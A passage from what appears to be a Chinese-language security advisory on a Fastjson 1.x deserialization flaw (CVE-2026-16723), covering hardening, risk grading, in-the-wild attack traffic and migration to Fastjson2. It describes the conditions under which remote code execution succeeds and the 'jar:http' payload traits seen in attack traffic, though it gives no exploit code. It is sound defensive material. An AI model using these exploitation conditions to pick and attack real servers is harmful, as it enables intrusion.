固定实体类约束JSON结构外部无法注入恶意类型字段UserDTOuserJSON.parseObject(json,UserDTO.class);5.4 网络层防护策略限制业务Java进程外网出站访问权限通过防火墙、云服务器安全组阻断未知公网地址访问生产环境禁止业务进程主动拉取外网Jar包、第三方资源文件核心业务服务器彻底关闭公网出站权限仅放行业务必需的内部服务、第三方接口域名。6. 企业风险分级处置标准落地执行优先级避免企业无差别全量整改浪费人力成本结合漏洞完整利用条件划分三级风险等级明确对应整改时效贴合企业内部安全运维、漏洞闭环处置流程。6.1 高危风险24小时内紧急加固闭环Fastjson 1.2.68~1.2.83 SpringBoot胖Jar部署 未开启SafeMode 公网暴露接口 进程具备外网出站权限。这类资产攻击者无需认证即可完整远程代码执行存在服务器失陷、数据泄露风险必须第一时间完成止血加固。6.2 中危风险72小时内完成整改项目命中Fastjson高危版本区间但采用Tomcat War包部署、服务器无外网出站访问权限。无法完整触发RCE攻击但存在SSRF、服务器信息泄露辅助攻击风险限期完成加固处理。6.3 低危风险跟随常规版本迭代修复系统已开启SafeMode安全模式、使用noneautotype阉割版本、或已经完成Fastjson2全量迁移不存在漏洞利用前置条件无需紧急整改跟随日常版本迭代优化即可。7. 在野攻击对抗与溯源分析目前Imperva、长亭科技威胁情报平台持续捕获在野攻击流量攻击行为具备统一特征全网自动化批量扫描公网80/443/8080常用Web端口、请求统一携带jar:http协议Payload、高频遍历SpringBoot默认接口路径。攻击者依靠自动化扫描工具识别系统内JSON接口批量投递构造好的恶意请求入侵服务器后植入挖矿程序、远控木马、数据窃取脚本。企业运维人员需要重点监控服务器近期异常外网出站流量、未知外网Jar资源下载请求发现异常流量及时溯源阻断。8. 总结与企业长期安全建议CVE-2026-16723漏洞爆发根源是Fastjson1.x底层架构设计缺陷并非简单单行代码BUG。阿里官方全面停止1.x版本维护迭代后存量组件所有新暴露漏洞不会再有任何官方补丁修复后续还会持续出现各类新型绕过、无Gadget攻击链路。短期应急阶段企业通过开启SafeMode、替换noneautotype版本、部署WAF拦截规则可以快速止血阻断当下在野攻击长期安全建设层面全量迁移Fastjson2是唯一稳定长效解决方案。单纯依靠临时加固、流量拦截规则只能解决短期风险无法抵御后续迭代更新的新型攻击手段。企业同时需要搭建Java第三方依赖常态化巡检机制定时扫描项目内开源组件版本杜绝长期使用停止维护、存在高危漏洞的老旧组件从软件供应链层面规避开源组件安全风险。互动提问评论区交流你们项目目前还在使用 Fastjson1.x 吗是否已经完成 SafeMode 加固或者 Fastjson2 迁移迁移 Fastjson2 过程中你遇到过哪些兼容适配的坑可以评论区交流避坑经验。
